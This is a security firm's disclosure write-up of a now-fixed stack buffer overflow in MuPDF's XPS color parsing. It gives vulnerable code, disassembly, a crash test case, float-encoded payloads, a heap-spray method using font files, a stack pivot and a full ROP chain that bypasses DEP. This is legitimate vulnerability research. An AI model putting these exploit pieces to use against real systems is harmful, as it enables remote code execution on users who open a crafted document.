0day - MuPDF

Stack-based Buffer Overflow in xps_parse_color()

Disclosure Timeline

  • 2014-01-16 MuPDF contacted
  • 2014-01-18 fix integrated


I was recently looking for an opensource cpp lightweight PDF and XPS viewer to play with and I found MuPDF.

So I decided to have some fun during my free time and took a look at the source code of this product and quickly checked it out to verify if some vulnerabilities were present or not.

After about two hours, I found a dos and a stack overflow. This second vulnerability finally led to a remote code execution when a user opens a malicious XPS document.


When MuPDF loads the XPS document, it loads the first page and parses each element via xps_parse_element() as detailed in the XPS specification ( https://www.ecma-international.org/publications/files/ECMA-ST/ECMA-388.pdf ),

When the crash occurs, the call stack looks like this :

xps_parse_element(xps_document *doc, const fz_matrix *ctm, const fz_rect *area, char *base_uri, xps_resource *dict, fz_xml *node )
  if (!strcmp(fz_xml_tag(node), "Path"))
    xps_parse_path(doc, ctm, base_uri, dict, node);
  if (!strcmp(fz_xml_tag(node), "Glyphs"))
    xps_parse_glyphs(doc, ctm, base_uri, dict, node);

In this case, the Path element is parsed via the xps_parse_path() function which allows extraction of the attributes and extended attributes (Clip, Data, Fill, …).
If some conditions are fulfilled, we can trigger a stack overflow in the xps_parse_color() function when it parses the value "ContextColor" of the attribute "Fill".

xps_parse_path(xps_document *doc, const fz_matrix *ctm, char *base_uri, xps_resource *dict, fz_xml *root)
  fz_stroke_state *stroke = NULL;
  fz_matrix transform;
  float samples[32];
  fz_colorspace *colorspace;
  fz_path *path;
  fz_path *stroke_path = NULL;
  fz_rect area;
  int fill_rule;
  int dash_len = 0;
  fz_matrix local_ctm;
  fill_att = fz_xml_att(root, "Fill");
  if (fill_att)
    xps_parse_color(doc, base_uri, fill_att, &colorspace, samples);
    if (fill_opacity_att)
      samples[0] *= fz_atof(fill_opacity_att);
    xps_set_color(doc, colorspace, samples);

    fz_fill_path(doc->dev, path, fill_rule == 0, &local_ctm,
      doc->colorspace, doc->color, doc->alpha);

This function is in charge of getting all the floating numbers of ContextColor and putting them into the samples[32] buffer. The issue is that it does it without controlling the size of this array.

xps_parse_color(xps_document *doc, char *base_uri, char *string, fz_colorspace **csp, float *samples)
  else if (strstr(string, "ContextColor ") == string)
    fz_strlcpy(buf, string, sizeof buf);
    profile = strchr(buf, ' ');
    if (!profile)
      fz_warn(doc->ctx, "cannot find icc profile uri in '%s'", string);
    *profile++ = 0;
    p = strchr(profile, ' ');
    if (!p)
      fz_warn(doc->ctx, "cannot find component values in '%s'", profile);
    *p++ = 0;
    n = count_commas(p) + 1;
    i = 0;
    while (i < n)
      samples[i++] = fz_atof(p);
      p = strchr(p, ',');
      if (!p)
      p ++;
      if (*p == ' ')
        p ++;

This is the assembly code from the compiled C code above :

.text:0047C590 loc_47C590:
.text:0047C590                 push    esi             ; char *
.text:0047C591                 call    fz_atof        // convert into float
.text:0047C596                 fstp    dword ptr [edi+ebx*4]
.text:0047C599                 add     esp, 4
.text:0047C59C                 push    2Ch             ; int
.text:0047C59E                 push    esi             ; char *
.text:0047C59F                 add     ebx, 1
.text:0047C5A2                 call    _strchr        // search next comma
.text:0047C5A7                 mov     esi, eax
.text:0047C5A9                 add     esp, 8
.text:0047C5AC                 test    esi, esi     // check if the returned pointer is null
.text:0047C5AE                 jz      short loc_47C5C1
.text:0047C5B0                 add     esi, 1
.text:0047C5B3                 cmp     byte ptr [esi], 20h    // trim potential space
.text:0047C5B6                 jnz     short loc_47C5BB
.text:0047C5B8                 add     esi, 1
.text:0047C5BB loc_47C5BB:
.text:0047C5BB                 cmp     ebx, ebp     // check only the number of comma (oops… no test for the samples size)
.text:0047C5BD                 jl      short loc_47C590

This is an example of a proof-of-concept test case that triggers the overflow :

<FixedPage Width="793.76" Height="1122.56" xmlns="https://schemas.microsoft.com/xps/2005/06" xml:lang="und">
  <Path Data="" Fill="ContextColor  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47" />


I decided to use the latest version of the executable provided on the official website.

  • Software : MuPDF v1.3
  • Tested on : Windows XP SP3 (fr) / Windows 7 x64 (fr)

It doesn’t matter if the executable is compiled with /GS (this is the case on mupdf.exe). The reason is that the stack concerns a float array and an old version of Visual Studio doesn't add security cookies in this case.If it was the case the vulnerability would be more difficult to exploit. We can't erase the SEH because of the small stack buffer but depending on the concerned software, it maybe possible to replace interesting variables or structures values to control the EIP.

Given that « samples » is a float array, we have to make our payload fit into an array of floats.The size of the temporary buffer is limited to 0x400 bytes as can be seen in fz_strlcpy(…). As said above, we have to make our payload fit into an array of floats. For this reason it's important that each float has a long ansi size (about 22 bytes), otherwise it could be not precise enough to get the real 4-bytes values. So, 1024 / 22 = 46 * 4 bytes = 184 bytes (not enough to put our shellcode).

Here is an example :

<FixedPage Width="793.76" Height="1122.56" xmlns="https://schemas.microsoft.com/xps/2005/06" xml:lang="und">
  <Path Data="" Fill="ContextColor  7.738695572473460e+033,7.738695572473460e+033,7.813604562190658e+033,7.188661121986312e-043,7.861639730565029e+033,8.968310171678829e-044, …… and so on. />

We need to write our shellcode into the heap, so maybe we could put a stack pivot to return at the beginning of the stack buffer, process the ROP chain and then do an egg hunter to execute the shellcode from the heap but there is a much nicer solution.It's possible to trigger multiple aligned allocations into the heap, even if we can't use javascript scripting routine. I used the "font" attribute to allocate binary data, controlling the size for each of them else it's not possible to make precise allocations. So we can now put the ROP and shellcode directly at 0x0c0c0c0c.

If we take a look at the assembly code, the functions displayed below are used to do most of the allocations of elements and resources :

.text:00421BCC loc_421BCC:
.text:00421BCC                 mov     edi, [esp+18h]
.text:00421BD0                 mov     eax, [esi+44h]
.text:00421BD3                 call    sub_40F730
.text:00421BD8                 mov     edi, [esp+1Ch]
.text:00421BDC                 lea     ebx, [edi+1]   // ebx = 0x100000 (1mo)
.text:00421BDF                 test    ebx, ebx     // check the size
.text:00421BE1                 mov     [ebp+0], eax
.text:00421BE4                 mov     [ebp+4], edi
.text:00421BE7                 mov     esi, [esi+44h]
.text:00421BEA                 jnz     short loc_421BFD
.text:00421BEC                 xor     eax, eax
.text:00421BEE loc_421BEE:                             ; CODE XREF: .text:00421C06_j


.text:00421BFD loc_421BFD:                             ; CODE XREF: .text:00421BEA_j
.text:00421BFD                 mov     eax, esi
.text:00421BFF                 call    do_scavenging_malloc   // go malloc
.text:00421C04                 test    eax, eax
.text:00421C06                 jnz     short loc_421BEE
.text:00421C08                 push    ebx
.text:00421C09                 push    offset aMallocOfDBytes ; "malloc of %d bytes failed"
.text:00421C0E                 lea     ecx, [eax+1]
.text:00421C11                 call    sub_40FAD0

No particular check is made except if the size is null or zero. Obviously, if it's zero, the function returns null. ebx contains the size of our block (0x100000).

.text:0040F450 do_scavenging_malloc proc near
.text:0040F450                 push    ecx
.text:0040F451                 push    esi

.text:0040F470 loc_40F470:
.text:0040F470                 mov     eax, [esi]
.text:0040F472                 mov     ecx, [eax]
.text:0040F474                 mov     edx, [eax+4]   // & _sub_40F7A0()
.text:0040F477                 push    ebx      // size = 0x100000
.text:0040F478                 push    ecx
.text:0040F479                 call    edx      // call _sub_40F7A0()

As we can see, __cdecl sub_40F7A0 is dynamically resolved and then called with the size argument filled in ebx before.

.text:0040F7A0 ; int __cdecl sub_40F7A0(int, size_t)
.text:0040F7A0                 mov     eax, [esp+arg_4]
.text:0040F7A4                 push    eax             ; size_t
.text:0040F7A5                 call    _malloc      // do HeapAlloc() of our font size
.text:0040F7AA                 add     esp, 4
.text:0040F7AD                 retn
.text:0040F7AD sub_40F7A0      endp

Finally, our font allocations are done and will remain without being freed. Practically, we need to generate many font files containing our binary data into a folder and write the path of each of them into the page file using FontUri attribute of Glyphs like shown below to load them.

<FixedPage Width="793.76" Height="1122.56" xmlns="https://schemas.microsoft.com/xps/2005/06" xml:lang="und">
  <Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-0.ttf" FontRenderingEmSize="16"/>
  <Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-1.ttf" FontRenderingEmSize="16"/>
  <Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-2.ttf" FontRenderingEmSize="16"/>
  <Path Data="" Fill="ContextColor  5.962129799535157e-039,7.421697056603529e-039,7.334452214214666e-039, … />

It now only remains to find a solution to bypass DEP. ASLR can be bypassed in this case because mupdf.exe isn't ASLR compiled.

-A stack pivot will allow executing the ROP from the heap

0x005000a7 : # XOR EAX,EAX # POP ESI # RETN
0x0C0C0C0C : 0x0C0C0C0C
0x00453eaa : # ADD EAX,ESI # POP ESI # POP ECX # RETN
0x0C0C0C0C : 0x0C0C0C0C
0x0C0C0C0C : 0x0C0C0C0C
0x0047033d : # XCHG EAX,ESP # POP EBP # POP ESI # POP EBX # RETN
  • The ROP chain is based on mupdf.exe (which is non-ASLR). In this case, it appears that only VirtualAlloc is necessary to bypass DEP.
0x0040ebfe, # POP EAX # RETN
0x0050d0ac, # ptr to &VirtualAlloc()
0x41414141, # Filler (compensate)
0x00408e96, # XCHG EAX,ESI # RETN
0x004baf26, # POP EBP # RETN
0x0046521a, # & call esp
0x00421d9e, # POP EBX # RETN
0x00000001, # 0x00000001
0x004fff88, # POP EDX # RETN
0x00001000, # 0x00001000
0x0048ab04, # POP ECX # RETN
0x00000040, # 0x00000040
0x00472066, # POP EDI # RETN
0x00500681, # RETN (ROP NOP)
0x0050be74, # POP EAX # RETN
0x90909090, # NOP
0x004d99ac, # PUSHAD # RETN


The MuPDF library is vulnerable to a stack overflow and could be exploited in this case because of two conditions :

  • the binary is non-aslr compiled allowing us to easily get a ROP chain and bypass DEP protection.
  • it was compiled with /GS, maybe with an old version of Visual Studio which doesn't protect arrays of floats with stack cookies.

You can download the PoC here

Call us

+33 (0) 970 463 030

Email us

Our PGP key

Our address

178 Boulevard Haussmann
75008 Paris , FRANCE